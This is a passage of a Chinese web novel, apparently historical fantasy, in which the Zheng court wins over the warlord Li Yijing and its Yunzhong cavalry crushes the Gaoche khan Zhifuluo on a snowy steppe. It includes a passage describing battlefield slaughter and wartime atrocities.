满是胶原蛋白的脸颊和洁白的牙齿笑的灿烂阳光,眼睛弯成了月牙,让他感受到了前所未有的治愈。 “怎么了客人?看你眉头不展的,大清早起来就不开心呀?” 周迎没有说话,只是呆呆的望着眼前的女子,嘴角一瘪,突然有点想哭。 女孩连忙伸出手想拍着肩膀安慰他,但又反应过来眼前之人是陌生男子,觉得不好意思,于是只好轻拍着空气安慰道: “没事的没事的,不管发生了什么,都已经是昨天了,吃完我做的面,就开始全新的一天吧~” 周迎望着她甜美的笑容,感受着最质朴的善意,眨了眨眼睛后,对着她用力的点了点头。 女孩见周迎回应了自己,抿着嘴开心的笑了。这时邻桌又来了两位客人喊她,她连忙扭头回应,看了一眼低头握筷的周迎后,热情的跑过去招待了。 周迎大口大口的吃完了面,又毫无君子形象的用双手捧起陶碗将里面的面汤一饮而尽,在桌子上丢下几角碎银子后,背负起双手,迎着朝阳昂首阔步的向前走去。 摘果先栽树,爱人先爱己。 第199章 北地苍茫 不知从哪里听来的一句话:你跟世界上的任何一个人,中间都只隔着六个人的关系。 汴京翰林院里的小吏周迎,和纵横草原的敕勒可汗豆仑,两个相隔千里、风马牛不相及的人,还真就符合这一定律。 周迎——沈棠——韩登——申屠忘忧——申屠明光——豆仑。 不多不少,刚刚好。 情感上受挫对人的打击固然很大,但军事上的受挫会让人汗流浃背。 二者都让人寝食难安。 自从与申屠明光书面签订了互相谅解协议后,豆仑转身就率领敕勒部的儿郎们投入到了草原吃鸡大赛中。 敕勒与突厥联手,和凶猛的高车骑兵在大草原上多次爆发激战,惨烈程度丝毫不比郑蜀之间的剑阁之战、成都之战低,都是马背上长大的,谁怂谁孙子。 要么你拿着我的头盖骨装酒,要么我把你剁成肉臊子喂狗! 冲鸭—— 但是吧,这世上的很多事,并不都是凭借着一腔血勇就能够有志者事竟成的。 当年突厥和鬼方、契丹一起南下创业,敕勒部忙着向村霸申屠家夺回自己的宅基地时,高车部安静的苟在家里默默发育,具体活动就是放牧、生孩子、囤积盐、铁、粮食物资。 三位年轻人在南人的地盘上见识了城市套路深后,头破血流的回到了村子里,突然发现高车部已经修起了小洋楼,存款七位数,还娶了媳妇,手下一大帮小弟。 而且,还盯上了他们的家产。 以及他们本人。 芝伏罗大汗率领高车部从阿尔泰山一路东下,秋风扫落叶一般席卷残云,对沿途的各个小部落实行“顺我者昌逆我者亡”的鲜明政策,路边的狗都要一脚踹飞。 他们强势吞并了同为六部之一的鬼方部,并且攻势丝毫不减,越打越强、越打越多。时至今日,已经控弦十五万,兵临土兀剌河。 在凌晨原本的那个时空,这条河旁边有一座城市,叫做乌兰巴托。 那么,敕勒和突厥的军队加起来一共有多少人呢? 六万。 令人绝望的数字。 由于大草原一望无垠,土地基本平整,也没有什么险峻的地形可以利用一下,所以大家通常情况下都是进行真男人对决,选择正面对掏的。 没办法,地方水土决定民俗风貌,再说草原上的文化传统一直都是这样,数量直接决定着胜利的天平会倒向哪一方。 尽管差距有点大,但敕勒和突厥还是决定手拉手一起孤立高车部,把它踢出草原聊天群。 芝伏罗不会放过豆仑和突厥可汗乞力屋,他们两个同样不屑、也不会心甘情愿的臣服于一个苟在阴暗的角落、趁着大家虚弱时搞偷袭才壮大起来的阴险小人! 大郑建隆三年九月中旬,土兀剌河畔,一场足以影响草原命运的骑兵会战,拉开了帷幕。 双方投入战场的总兵力加起来超过了二十万人,从土兀剌河的上游源头到下游水草地,到处都是手提弯刀、拉弓张箭的草原汉子,其中不乏有胡子花白的老人和面相青涩的小孩,甚至还有不少身体强壮的妇女。 棕盔铜鳞,一圈豹绒围绕在头盔边沿。皮甲上似乎被什么油抹过,锃亮反光。浓须短髯,枣面黑眼,虎背熊肩,小腹微微隆起,却没有一丝肥坠感,只有让人喘不过气的强者威压。 高车大汗——芝伏罗。 他坐下的草原马通体乌黑,宛如漆涂墨染一般毛发明亮,不近前细细端详,连眼睛和鼻孔在哪里都找不到。虽然不清楚是什么品种,但一看就知道是万中无一的良驹。 湛蓝的天空中,白云成团翻卷着在天际滚动,碧绿的草原上已经有些秋败之色,绿中带黄,明媚如浪。被云朵遮住的阴影和阳光照射的地面都在缓缓移动,天空中雄鹰展翅翱翔,啼鸣声惊起沙鹭,更远处雁阵成行。 一名面部黑中透紫,刮的干干净净,既没有胡须也没有眉毛的披甲副将左手扯着缰绳,右手握着长杆瓜锤的年轻汉子勒马来到了芝伏罗的身边,调转马头与他并辔望向对面。 “大汗,黑乌鸦传来消息,契丹人在呼伦河附近和胡独虎可汗血战了一场,双方都死伤惨重。辽东的汉人应开疆介入了战场,帮着契丹袭击了黄龙府,眼下三方互相牵制,陷入了僵局,想要两面夹击突厥怕是不行了。” 芝伏罗毫不在意的抬起小臂,对着这名年轻将领说道:“我从来就没有指望着那些靺鞨野人能打败契丹,来跟我们一起对付乞力屋。” 年轻将领顿时面露疑色:“那您为什么还……” “兀儿,你记住了,我们的盟友只有座下的战马和手中的刀弓,别人,就不要指望了。胡独虎没有打败契丹,对我们来说可不是坏事,他要是真的吞并了契丹,那我才要睡不着觉呢~” 名叫兀儿的年轻将领皱着眉细细思索着芝伏罗的话语,渐渐的也品出了一些味道。 “大汗,我明白了。” “哦?明白什么了?说说看。” “您的最终目标并不是要与靺鞨共分水草地,而是要将他们逐个击破,最终一统草原!包括他们靺鞨部!” 芝伏罗听后哈哈大笑起来,笑够了后,扭头看向身边的兀儿,露出了更为睥睨的神色—— “不,孩子,你又错了。我的目标可不仅仅是草原,等到将所有骑马的汉子都收拢进高车部,让所有的毡房都为我们挤羊奶、产肉干,所有的牧人都为我们养育马驹牛犊的时候,我要南下雁门关,打进汴京城!!” 兀儿听的眉头一皱,紧接着醍醐灌顶般瞪大了双眼,露出了恍然大悟的笑容:“想不到大汗竟然想的这么长远,您就像天上的雄鹰一般有远见,和北海的宝马一样有志气!” 芝伏罗点了点头后,冷笑一声,看向了远处。 马腿交错着排列阵形,黄尘飞扬、草屑和黑土乱溅,人喊马嘶、身上披着羊毛皮子的草原骑兵正在飞马传令。 远远的看去,很明显就能察觉出他们是两拨人马。突厥部的族人多以动物皮毛裹身,阵中枪兵、弓骑居多。这是因为他们缺乏铁矿,只能将铁器熔炼成枪尖和箭尖,以增加数量优势,属于是勒紧裤腰带过日子。 敕勒部则完全不同,大部分族人都穿着南人的布料衣服。虽然他们也有很多弓骑,但手持弯刀和大锤、狼牙棒这类武器的也不在少数,在铁器方面明显要比突厥部奢侈。 因为敕勒部毕竟祖上阔过,和申屠家打仗也有赢了的时候,把他们身上的铁甲、武器甚至是行军锅缴获回来,融化后敲两锤子,再放到石头上磨一磨,就是全新的锋利马刀。 但也不能因此就觉得突厥部战斗力弱,枪兵在近距离作战中对骑兵和马匹的杀伤力还是不容小觑的,而且他们的弓骑不逊于任何草原部族。 因地制宜,选择合适自己的发展道路和生存方式才是最明智的举动。 敕勒部豆仑可汗和突厥部乞力屋可汗并辔立在一处高坡草地上,在一群精锐骑兵的护卫下,望着远处将整个山坡脊线都占满的高车骑兵,表情不一。 乞力屋面带愁容,他是真被高车人打怕了,上次差点就交代在了包围圈里,多亏豆仑率领敕勒铁骑冲杀进来破开口子,他才得以逃出生天。 命虽然捡回来了,但心理阴影却挥之不去。 现在,对方的兵力接近自己和豆仑的三倍,虽说战场瞬息万变、胜负难料,但长生天大概率是站在高车那边的。 比起他的一脸愁容,兵力比他还少的豆仑反而表情轻松,战意盎然,甚至都已经在和乞力屋商量着怎么划分战利品了。 “我听说芝伏罗这头老狼有一个年轻的像花朵一样美丽的老婆,是从西域娶回去的,听说还是个什么公主,老兄,你说我们怎么分?” 见豆仑这个时候了还有心情跟自己开玩笑,乞力屋叹着气有些不耐烦的说道: “豆仑啊,你是南人的草麦子吃多了吗?怎么变得这样愚蠢迟钝?现在是我们分他老婆吗?能保住自己的老婆就不错了……” 豆仑听出了乞力屋语气中的不满,保持着笑容,眼睛瞟向他,哈哈一笑—— “你放心,这一战一定是我们赢,芝伏罗绝不可能消灭我们。” “唉!”乞力屋无奈的瞪了豆仑一眼,真不知道他哪里来的自信,敢睁着眼睛说出这种瞎话。 “老兄,你我的脑袋都快要被高车人摘去当祭品了,你还有心情……算了,大战在即,你能有这样的心态,也……也算是一件好事吧……” 豆仑见状也不逗他了,呵呵笑着望向两军对阵的左侧方向。 那个方向,是南。 “乞力屋,不要害怕,也不要担心,我们还有援兵。” “嗯?”乞力屋听的表情一愣,援兵?哪还有援兵? “耶律弧不是已经派人来说过了吗?他的部族损失惨重,现在根本不可能抽出人来支援我们,我们哪里还有什么援兵?” 豆仑将目光从远处的天际收回,笑着看向乞力屋:“契丹部当然来不了,但南人会来的。” 啧…… “你一定是被吓疯了,南人怎么会管我们的死活呢!我跟耶律弧前不久才去他们的地盘上杀了人、毁了城、抢了他们的金银。 他们不帮着高车人杀我们就不错了,怎么可能还会来救我们?你不要忘了,高车人就是因为郑国皇帝给他送粮食和铁器盐粒,所以才变的这么厉害的!” 乞力屋有些绝望了,豆仑别再是被高车人给吓傻了,那自己就更没有希望了。 豆仑摇了摇头,盯着乞力屋认真的说道:“我不了解郑国皇帝,但我了解申屠明光,他绝对不会任由已经如此强大的高车再次吞并你我的部族,独霸草原。 他虽然是南人,但其实跟你我没有区别,都是在草原上喝着羊奶长大的,申屠家的云中军不会允许草原上出现一个统一的大部族。 相信我,以我对申屠明光的了解,这会儿他绝对已经带着他的云中军出发了。如果我们赢了,他就会趁乱袭杀溃败的高车人。如果我们输了,他也会替我们拦住芝伏罗的。” 乞力屋听的愣住了。 —— 漠南草原,旌旗猎猎随风飘扬,铁甲反射幽冷寒光,无数披甲骑兵正排着整齐的队伍如同长蛇般蜿蜒的行进在大草原上。旗帜上的“申屠”、“郑”字用白线织绣,被玄色底面衬托的格外鲜明。 队伍的最前方,胡子灰白相间的申屠明光一身银甲,披着深绿色的披风,目光迸火,冷面如霜。 五万云中军倾巢而出,正在不急不缓的前往土兀剌河战场。 豆仑猜的一点也不错,汴京虽然一直在经略南方,但从来没有将目光从草原上移开过,当高车部的骑兵超过十万的时候,芝伏罗就不再是大郑的好朋友了。 攻打西川的同时,中书门下也向云中府发去了命令,让申屠明光整军操练,随时做好介入草原的准备,假想敌就是高车部。 同时,汴京礼部还给朔方的李遗景发去了谅解书,皇帝陛下将会原谅他之前攻打渭州的愚蠢行为,并且考虑到朔方百姓赋税沉重,陛下仁慈,决定赦免说好的赔款,只要他每年按时将牛羊、战马进贡上来就行。 但有一个小小的要求: 你给我带上你的党项骑兵,偷高车部的屁股去。 也不求你能一路打穿大漠草原,兵临阿尔泰山,只要能让芝伏罗不舒服、不自在、有顾虑就行了。 如果你愿意的话,你在长安和汴京留学的两个儿子,也该出社会实践了,我们会给他们安排个官当当,帮你锻炼他们的能力,假以时日,未必就没有机会回去帮你处理家族产业。 关中、陇右、河西各地也都会给你提供粮食物资支持。钱就别想了,我们现在也有点紧巴。 李遗景小心翼翼的举起手臂提问道:那万一我出去帮你们干活了,你们反手住进灵州城里,找我独守空闺的老婆聊天,我该怎么办? 中书门下回复:你不答应的话,我们现在就让李卿、柳耒、李孝通去你家叙旧。 你干不干? 不干干你。 第200章 陈明利害 撕下一口撒了西域香料的滩羊肉,软烂脱骨,瘦肉不柴,肥肉不腻。 再饮下一杯醇厚的沙棘酿,烈酒入喉,消解万愁。 李遗景一边用镶嵌着宝石的匕首划拉羊肋排,一边皱眉抬眼看向下首同样吃的满嘴是油,还很恶心的嗦自己手指的胡文庆,心中是又恨又惮。 “你竟然还敢来灵州,你知不知道这里的每一个人都想把你千刀万剐、生吞活剥?” 一身青衫的胡文庆嘴里嚼着肉,两个腮帮子鼓着不停的蠕动着,闻言后用呆萌的眼神望向李遗景: “那知府大人您呢?” 朔方府虽然在明面上臣服大郑,但在本地,大家都尊称李遗景为夏王。胡文庆用大郑封的官职来称呼李遗景,多少有点蔑视和敲打的意味。 而且…… 他把李遗景的二儿子忽悠的找不着南北,渭州城中两万党项骑兵被团灭,六盘山中更是让李遗景被李卿撵着跑,说是仇深似海都不为过,现在他还敢跑到苦主面前卖乖。 李遗景严重怀疑这小子就是专门来送死的,好叫那些关陇的老熟人们有理由对自己发难。 要是搁以前,胡文庆能坐在自己面前吃羊肉?李遗景能亲手把他串成全羊烤了! 奈何形势比人强,以前是以前,现在是小菜。如果大郑真的从河西、陇右、关中兵分三路夹击灵州,老李家game over的几率很大,接近九成九。 要知道,原来的关中军有一半都参加了平蜀之战,结束后得到了丰厚的赏赐和回报。剩下留守在老家的关陇子弟们早都已经眼红的不行了,渴望也能有机会建功立业。 蜀国已经灭了,眼下西部唯一还有价值的战略目标就是李遗景,要不是大郑朝廷压制着汹涌的民意,这帮年轻人早打过来了好吧! 运气好的话,李家人能整整齐齐的在汴京团聚。 运气不好也没关系,忘川河上只有一座奈何桥。 “本……本府执掌朔方治下军民,自然不会意气用事。两国……朝廷来使,岂能胡乱斩杀?” 胡文庆听的想笑,以前你不是这样的,当年陛下派邱大人找你谈话,你可是二话不说就把他丢进锅里煮了,现在怎么学会讲文明懂礼貌了? “其实,下官这次来,是给知府大人指明一条生路的。” “你不要太过分了,本府的忍耐是有限度的。” 胡文庆见李遗景真的生气了,于是放下了手中的肉,擦了擦手后,正色拱手说道: “下官没有戏弄大人的意思,也没有必要在这里故意触怒大人。” 李遗景努力按住想要剥了他皮的冲动,沉着声说道:“讲!” “是。大人,据下官所知,定难军现在共有骑兵8656人、步卒53444人、粮76953担、银213688两,在下认为,凭大人现有的力量,是挡不住朝廷西部行营大军的。” 李遗景:“……” 没有理会李遗景的哑口无言和瞠目结舌,胡文庆继续脸色认真的说道: “当今陛下恩威并重,胸怀天下,乃是有大器量的一代雄主!关中韩登易帜而附,富贵加身,开府封王位极人臣;关东王臣鹤率滨归王,坐镇一方,总揽青徐淮扬军政大权;申屠明光乃是旧朝同年,如今更是倚为边疆重臣。 就连昔年的仇敌应开疆,陛下尚能怜其年迈、感其大义而赦免他的罪责,将前尘往事一笔勾销。您现在归顺还来得及,一点也不晚呐!江南未定,西南、岭南未平,陛下是断然不会出尔反尔、对您刀斧加身,以绝远人之心的! 朝廷如今要对草原局势进行干预,正是您建功立业、戴罪立功的绝佳机会。无论您出不出兵,西部行营都要对高车部动手,错过了这次机会,那可真是悔之晚矣、万劫不复了!” 李遗景盯着胡文庆的眼睛看了很久,内心不住的感慨:这个相貌平平的年轻人真是胆大包天,巧舌如簧啊! 听的自己都有点拿不定主意了。 难怪文锦会被他骗的团团转。 因为他说的……都是真的。 有时候真的烦到不想干了,老子也学李孝通上崆峒山当道士去,省得天天提心吊胆、担惊受怕、绞尽脑汁的做选择。 每天醒来都要玩《鱿鱼游戏》,这谁受得了?! “陛下……真的不会秋后算账吗?我……我可是杀了你们的使者,还和关中士族结怨多年,真的能安度晚年吗?” 见李遗景已经动摇,胡文庆立刻动之以情、晓之以理: “若是您归附后受到加害,那韩登、王臣鹤、申屠明光和应开疆就会人人自危,被迫起兵自保。长江以南也会因为恐惧而不敢归顺,您觉得当今陛下会因为些许旧事而因小失大吗? 再者,依照眼下的局势来看,您若拒不归顺,那些久有宿怨的关陇将士一定会踏破贺兰、血洗灵州!可若是您真心归附,他们便没有了讨伐您的理由。若是能……” 李遗景眯着眼睛接过了胡文庆的话茬:“若是能帮着朝廷军队攻伐高车部,立下大功的话,就算是陛下……也不能轻易动我李家了。” 胡文庆笑着说道:“如果真有那么一天,大人又何必在灵州这一亩三分地上自欺欺人?以您的威望、名声和功劳,何愁不能真正封王!到那时,四海九州,谁见了都要尊称您一声“王爷”~” 李遗景右手握着剔肉的匕首,左手大拇指在锋利的刀刃上刮了刮,似乎在权衡利弊。 胡文庆也不着急,安静的等他决断,毕竟是拿身家性命去赌一个未知的未来,怎么也得给他点时间。 而且,其实…… 他没得选。 “嘣嗡嗡嗡~~” 不知道过去了多久后,李遗景突然将手中的匕首一把插在了食桌上,起身径直来到了胡文庆面前,双手抱拳单膝下跪,将脑袋别向右侧看向地面—— “劳烦先生向中书动笔上书,遗景愿携朔方全境军民官吏,真心诚意的归顺陛下!若要降罪,甘心受罚;若有驱使,绝无二话!” 胡文庆笑的嘴角都快要咧到耳朵根子去了! 前些日子朝廷要派人来做做李遗景的思想工作,最后再废一次口舌。他得了消息后立刻跑去毛遂自荐主动请缨,谁知尚书大人非但不允,还自掏腰包给了几两银子让他去看看脑子。 胡文庆当然知道李家人和党项骑兵恨不得把自己千刀万剐,甚至可能刚刚踏入朔方地界就会被射成马蜂窝。但不入虎穴、焉得虎子?要说定难军和灵州城,谁能有我熟? 事实证明,风浪越大,鱼越贵!! 他已经看到礼部员外郎的位置在朝自己招手了~ 就是礼部侍郎,熬上几年也是很有可能的! 可惜,曹嘉那家伙弄的李唐二代断层,功劳挺大的。现在又多了个阎改之,还有西川分舵的那帮家伙,同事们都好卷啊! 礼部尚书的位置怕是有点悬。 九月底,文训下旨免去朔方府一切进贡物项,令来年与大郑其他州府同等赋税,并派人向灵州输粮。 朔方府所有官吏统一录册,送吏部报备,接受朝廷考核。当地乡军由兵部统一管理,考虑到朔方地处边疆,特许其名额在三万以内,多出的要放归农桑。 定难军正式进入大郑军队编制,接受西部行营新任部署安容的领导。 就是那个当年把淮南侯李继贤挡在太行山中进退不得的晋阳军统军安容,凌晨大舅哥刘青山的同袍好友。 他的能力应该是完全可以坐镇一方的,但是资历还差了点,所以只任命为调兵遣将的部署,而非总揽一切军务的都部署。 对李遗景的命令不变,立刻带上定难军北上越过阴山,去袭扰高车部的后方。 八千党项骑兵在李遗景的带领下,跨上战马离开了塞上江南,穿过戈壁滩和沙漠,翻过阴山下的大草原,向着西北方向气势汹汹的驰骋而去。 虽然心里踏实了不少,也不用担心被人拆家砍头了,可他们总感觉哪里怪怪的。 我们……这就算郑人了? 我们跟他们打了那么多年,死了那么多人,一夜之间就成一家人了? 这把稳着吗? 感觉好不真实啊…… 比党项骑兵和朔方百姓更懵逼的是正在土兀剌河畔跟敕勒、突厥互砍的高车大汗芝伏罗。 他敢带着部族里的青壮兵马远离大本营阿尔泰山,长驱直入、大张旗鼓的吞并其他草原部族,就是笃定了大郑军队会被李遗景挡着,无法偷袭自己的大后方。 而西域的那些小国都是各自为政,迄今为止并没有出现能够让所有人都心服口服、把他们团结起来的领袖人物。因此,就算是借他们十个胆子,他们也不敢对高车部的留守地动手。 结果现在你告诉我,李遗景真成大郑的将军了?还带着八千定难军扑向了我的老家? 定难军在草原上还是有点名声的,不然离的最近的鬼方部当年早就南下攻占朔方府了,还用得着绕远路去燕云那一带? 而李遗景就更不得了了,虽然跟强大的大郑比显的有点拉胯,但别忘了,他可是和文训、申屠明光同期出道的练习生,大半辈子都在行军打仗的路上。 和韩珏相爱相杀的那些年里,占据主动权的是他! 要不是因为关中和中原合为了一家,拥有源源不断的武器、粮草、物资、兵员支持。再加上文训亲自坐镇指挥,文若、韩登、种平、贾骐、李孝通、柳耒、李卿以及各地精锐兵将齐上阵,还有凌晨兜底,他也未必会势渐衰微。 国服第一带着半个大郑的将帅之材合力,才把他打趴下,还没打死。 现在这头既狡猾又凶猛的西北狼成了文训的手下,转头就对高车部露出了狰狞獠牙。 芝伏罗的头都要裂开了。 福无双至,祸不单行。就在他准备抽出两万骑兵回援自家水晶的时候,和李遗景具备同等威慑力的申屠明光,带着他的云中军出现在了土兀剌河战场的南边五十里处。 他们安营扎寨,埋锅造饭,没有开口说明来意,同时也拒绝和陌生人交流,就这么静静观望着。惬意的就像是厌倦了城市生活,来大草原上散心的旅游团。 只是这个旅游团的人数有点多—— 五万。 而且还是五万箭术、马术均不在任何草原部族之下,全员披着铁甲、大部分都有着丰富砍人经验的狼骑。 向申屠明光开口商量估计是行不通的,这老头带着这么多人跑到这里来,不干上一架肯定不会轻易善罢甘休。 但跟李遗景叙叙情、聊聊以前一起经历的美好过往和旧年趣事,应该还是有机会打动他的。毕竟以前他们曾一起揍过夹在中间的鬼方部,逢年过节也都会互相送礼拜访。 “李伯别生气,李伯你别上火, 咱们爷俩谁跟谁,没你哪有我? 界是鲜花几朵,您嘞先收着, 有嘛不是都怪小弟我~” 李遗景认真听完了风尘仆仆的高车使者带来的话,然后发挥自己一贯的传统,把他挂到一颗歪脖子上,继续朝着芝伏罗的老家奔去。 弟妹我来了~~(搓手手) 芝伏罗把头都挠秃了也没想明白,为啥呀?咱俩以前关系挺好的呀,而且你是党项人,有必要为他们南人这么拼命吗?这么义无反顾、坚定决然的,你就不怕他们事后连你也一块收拾吗? 李遗景:废什么话!我不揍你,他们现在就要收拾我! 而且我已经不能回头了。 我是党项人不假,但我的太太太爷爷曾经说过,他可是当年大唐王朝的王爷和一位美丽的党项女子互相爱慕之下所产出的爱情结晶。我们家祖籍陇右秦州府秦安县的,有51%的南人血脉,比南边的李雄还要纯正! 你的祖先当年兵临长安,逼着我老祖宗签订渭水之盟的仇…… 芝伏罗:哥,那是突厥人干的啊,你得找乞力屋啊! 你们的祖先当年趁着秦末乱世刚刚结束,把我的老祖宗围困在白登…… 妈的!那会儿特么有我什么事啊! 芝伏罗受不了了,他算是看出来了,李遗景就是单纯的惦记他家里的媳妇。 第201章 大雪纷飞 草原上的天气和中原地区是不一样的,十月份的灵州正是落叶枯黄、秋高气爽的日子,偶尔还会下点凄冷小雨。 此时的汴京白天依旧温暖,甚至还会有点秋老虎式的反暑迹象,可晚上却能结出霜露,早晚温差很大,需要注意保暖防寒。 而阴山以北,已经漫天大雪了。 草地被茫茫白雪覆盖,银装素裹。寒风吹面,如同刀割般生疼,冰冷刺骨。 天空中的太阳被惨淡的灰云遮住了原本模样,偶尔露出来一点端倪真容,也是可以直视的昏暗白圈。在这里,你可以直视太阳。 有些地方路滑雪深,隐藏着不易察觉的大坑和断崖,如果没有熟悉路况的引路人,很容易跌进深坑或者连人带马都摔倒滚落。 天地间白茫茫一片,雪地里却有一条黑色的长蛇在快速移动。近细看之,成群结队的骑兵正在纵马飞驰,他们手举旌旗,攥紧缰绳,在皑皑雪原上、在呼啸狂风中快速前进。 探马和斥候已经在前面开好了路,雪地被踏出一条满是马蹄印子的路线。李遗景的胡须和眉毛上全是雪晶,脸颊被吹冻成红紫色,可他却毫不在意,眯着眼睛在亲卫们的拥簇下踏雪而行。 纵马奔上一片雪坡后,他勒住了坐骑,无数党项骑兵也跟着他爬了上来,立在风雪吹刮的山坡上。下面是连绵不绝的毡房和简易的营栅,偶尔还能看到一两个人在走动,柴火烧出的浓烟正从毡房顶上冒出。 李遗景握住刀鞘,将腰间的宝刀缓缓抽了出来,铁刃摩擦着刀鞘的声音格外刺耳,比这漫天大雪还要寒冷。 “不要恋战,见人就杀!” 下一刻,立在山坡上的党项骑兵们兴奋喊叫起来,挥舞着手中的长刀银枪,张臂搭弓,漫山遍野的从坡上冲了下去,群狼下山! “杀——” 这一路上,定难军已经毁灭了三十多座这样的部落营盘,高于马镫的男人统统杀光,女人用来抚慰疲惫的征程和温暖寒冷的夜晚,用他们储藏过冬的粮食酒肉补充给养,临走时再烧掉大部分帐篷。 高车部大军和他们的老家之间被血洗一空,补给线和通讯被完全切断,雪原上一连百里都见不到人烟,只有破败不堪的残垣断壁、以及被大雪掩埋的累累白骨。 土兀剌河畔,同样是白雪皑皑。 河面已经结冰,雪地被踩出泥坑,望不到头的营帐里到处都是探马巡骑,困惑和迷茫交织在每一个高车族人的心中。 尽管芝伏罗已经封锁了消息,严令不许传播后方老家被偷的谣言。但纸终究是包不住火的,许多暗中得了消息的人都心急如焚:不知道家里人现在怎么样了,大汗为什么还不回兵救援? 芝伏罗心里苦啊,他也想赶紧撤回阿尔泰山去,可是走不掉呀! 申屠明光已经在战场附近住了半个月了,弄的他都不敢放开手脚尽快解决敕勒和突厥两部,每次都要留五六万人防着这老头。 其余人马加起来和那两部差不到哪里去,短时间内很难分出胜负,再这么耗下去,粮食吃光,军心涣散,怕是要出事哦~ “报——” 炭盆前烤火的芝伏罗,正在皱眉思考如何骗那些沿途归附的小部落们聚在一起断后,自己率高车部撤退。就在这时,帐外突然传来一道急促的脚步声。 一个头盔和肩膀上满是雪花的斥候冲进了大帐里,单膝跪地,右手抚摸着心脏位置的胸甲,喘着白气焦急的低头一礼,抖落的碎雪在空气中飘舞。 “大汗,不知是何人在各位可汗的营中散播谣言,说我们的大后方被党项人毁坏殆尽,族人尽皆被屠,妇童冻死荒野!” 芝伏罗心中一惊,瞳孔微缩,但他立刻就按住了想要起身暴怒大骂的冲动,强压着情绪淡淡说道:“这一定是申屠明光的诡计,想要以此来扰乱军心,不必理会。” 斥候摇着头喘道:“可是……可是我们的军营中许多负责与后方联络的斥候和运粮队也……也说这是真的,现在各个营地都乱了套了,族人们都……” “报——” 就在二人言谈间,又冲进来一名斥候。 “不好了大汗!阻卜可汗率领着他的族人拔营而起,要独自回自己的领地去,兀儿将军率人去阻拦,双方不知说了什么,竟然……竟然打起来了!” 芝伏罗心乱如麻的站了起来,面色阴沉的从一旁的心腹手里接过头盔和弯刀,边走边穿戴,准备亲自去剁了这个扰乱军心的阻卜。 还没等他走出帐外,又是两名斥候掀起帐帘走了进来,外面的冷空气也被带了进来,让在温暖的大帐中待久了的芝伏罗忍不住打了个冷战。 “大汗!探马急报!一个时辰前,申屠明光率领全部云中军出营,朝着我们来了!” “大汗!敕勒和突厥两部人马也一反常态,放弃缩守,全部出营主动攻击我们前线大营了!” 芝伏罗脚步一顿,急躁的心瞬间凉了下来,他嗅到了一股浓浓的阴谋和危险。 这章没有结束,请点击下一页继续阅读!“快!去告诉兀儿,不要管阻卜了,回去之后我们有的是机会收拾他!叫他赶紧把所有族人都带回来!传本汗的命令,让所有仆从部落的可汗们带着人马全部出营迎敌!” “是!” “是!” 掀开帐帘走到外面,刺骨的寒风扑面而来,鹅毛大雪遮蔽了整片天空。 牛角号响彻在杂乱的营盘上空,马嘶鸣人影乱,弯刀闪烁着明晃晃的寒光,皮甲毛帽被湿雪打成结,无数马背上长大的汉子冷面红紫,哈着白气互相呼喊,怪叫着冲出了寨门。 还没等高车本部的兵马拔起营寨,云中军就已经出现在地平线尽头了。 芝伏罗亲自骑着他的墨马来到阵前,骑兵们纷纷让开道路,举起了手中的弯刀,将箭矢搭在了弓弦上,所有人并辔而立,静静的看着那群穿着铁衣服的南人渐渐靠近。 雪,更大了。 在相距不到两百米的地方,如同乌云一般看不到边的云中军停了下来。 高车大营后面隐隐传来了喊杀声,芝伏罗心里清楚,那是敕勒的豆仑和突厥的乞力屋这两个小丑到了。 大汗知道,但大汗不在乎。 只要击败了眼前的云中军,一切麻烦都会迎刃而解。 只是,一股莫名的挫败感从他心中升起——给自己带来大麻烦的申屠明光和李遗景,都是因为畏惧大郑的锋芒、臣服文训的威压,从而听受他的号令。 郑军…… 比眼前这支杀气腾腾的具甲铁骑还强吗?连他们也生不出抵抗之心吗? 那会是一副什么模样? 想了一会后,他不想了,还是先着眼当下吧。 芝伏罗抽出了弯刀,高高举起,高车部驰骋草原的儿郎们,纷纷看向他的三叉垂旗。个个狂喊了起来,“呜呜”怪叫着释放心中的紧张和恐惧,眼神渐渐变得狂热。 远处的申屠明光同样也拔出了宝剑,剑锋指向天空中,雪花落在剑刃上,不能消融,化成冰霜附着在上面。 云中军的将士们纷纷握紧了手中的兵器,全军上下静默无声,安静的凝结了空气,让人窒息。 下一刻,剑锋指向了芝伏罗。 芝伏罗那装饰有红蓝玛瑙的寒铁弯刀同样也挥向前方,直直的指向了申屠明光。 铁塔般雄壮的草原汉子们高举着大锤和狼牙棍,策马冲出军阵,迎着凌冽的寒风冲向两军阵中,无数白狼啸月长吟,挥舞着兵器紧紧跟随。 数十员武艺高强的云中战将挺枪跃马,倒提长刀,如同离弦的箭一般踏起雪泥,隆隆的马蹄声震颤着古老的大地,寒光照铁衣,霜刀森若冰。 人,也是一种动物啊~ 冷风吹不散藏在血脉中的狂傲,寒冰凉不透涌在胸腔里的炽热,我们之间没有仇恨,我们甚至都不认识,但今天只能有一方活着离开这里。 来战吧,就在这广阔浩荡的天地之间!! 惨叫声不断的响起,哀嚎声伴随着哭泣,怒吼和喝骂充斥在原本平静的天空,锋刃入肉只会换来更疯狂的绝地反击,铁锤砸头仍然会迎来凝聚意志的最后一刺。 鲜血染红了洁白的落雪,跌落的身体被马蹄踏为肉泥,无主的断臂裹满黑浆,凹陷的头颅血流不止,弯刀破风劈开无尽恐惧,尖枪穿空刺破一切虚妄。 鼓角声里残阳斜,忘记昨夜梦中毡房里深深牵挂的笑容,舍却记忆深处朱窗前依依不舍的泪光。挥舞手中的长戈,举起冰凉的铁杆,硬碰硬,一决雌雄!! 没有对错之分,也不需要任何理由和信念来支撑,只有活着的人才有资格在往后某个明媚的艳阳天里,仔细回忆今天的霜雪峥嵘。 爬冰卧雪,离开家乡,只为今朝!! 恶战从上午一直持续到黄昏,遍地都是杂乱的尸体和丢弃的兵器,人和马的尸体依偎在一起,被火焰烧燎过的破碎旗帜在寒风中迎风招展。 放眼望去,目光所及之处,一片人间炼狱。 高车部败了。 云中军和敕勒部、突厥部算不上朋友,但在这场战役中,他们就是唇齿相依的铁杆盟友。如果失败,突厥今天灭亡,敕勒明天灭亡,后天就轮到大郑来面对高车了。 但高车部和手下的仆从部落同样也算不上朋友,他们大多数都是迫于芝伏罗的淫威而暂时屈服的。如果局势顺风,那自然团结一心,可一旦逆风…… 打个游戏逆风了,同队之间都会有人互相问候父母,更何况是你死我活的战争呢? 那些仆从部落逃的逃,死的死,完全发挥不出应有的作用和战斗力。许多被征服的俘虏们也趁机倒戈相向,为死去的亲人朋友们报仇雪恨,绵延百里的战场混乱不堪。 芝伏罗能够相信和倚仗的,只有自己的族人。 但他的族人也是人,也会恐慌和害怕。 当他们在前方与云中军舍命厮杀了许久以后,发现仍然不能击败对方时,心中就有点慌了。 